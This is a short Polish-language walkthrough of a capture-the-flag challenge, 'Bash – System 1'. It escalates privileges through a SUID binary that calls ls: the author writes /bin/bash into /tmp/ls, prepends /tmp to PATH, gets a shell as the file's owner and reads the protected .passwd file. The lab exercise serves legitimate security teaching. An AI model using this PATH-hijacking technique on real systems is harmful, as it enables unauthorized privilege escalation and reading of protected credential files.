Dzisiaj pokażę wam rozwiązanie zadania „Bash – System 1”
Zadanie polega na tym, aby odczytać plik .passwd, do którego nie mamy uprawnień, ale oprogramowanie, które nam dali uprawnienia te ma, za pomocą SUID :).
A więc do dzieła 🙂
Na początek logujemy się podanymi danymi do SSH, poleceniem (hasło podane w zadaniu):
ssh -p 2222 [email protected]
Następnie po zalogowaniu widzimy kilka plików:
[email protected]:~$ ls -l
total 16
-r--r----- 1 app-script-ch11-cracked app-script-ch11 494 May 19 18:29 Makefile
-r-sr-x--- 1 app-script-ch11-cracked app-script-ch11 7252 May 19 18:34 ch11
-r--r----- 1 app-script-ch11-cracked app-script-ch11 187 May 19 18:34 ch11.c
Z tego co jest napisane, na samej górze po zalogowaniu mamy informację, że /tmp i /var/tmp jest w trybie RW (czyli można tam coś zapisywać).
uruchamiamy program ch11:
./ch11
/challenge/app-script/ch11/.passwd
i tak jak jest napisane w ch11.c (które możemy sprawdzić np. poleceniem less):
ls /challenge/app-script/ch11/.passwd
jest pokazane, że taki plik istnieje, jednak my chcemy go odczytać… jak to zrobić?
A gdyby tak podmienić komendę ls na np. /bin/bash?
uruchamiamy polecenie:
echo "/bin/bash" > /tmp/ls
które powoduje, że polecenie ls, jest zastępowane poleceniem /bin/bash 🙂
teraz zmieniamy PATH, aby najpierw brał te polecenie ls, a następnie dopiero z prawdziwej zmiennej środowiskowej 🙂
export PATH=/tmp:$PATH
i uruchamiamy nasz ./ch11 i jesteśmy w bash, ale zalogowani jako… app-script-ch11-cracked 🙂
teraz tylko robimy cat .passwd i już mamy hasło 🙂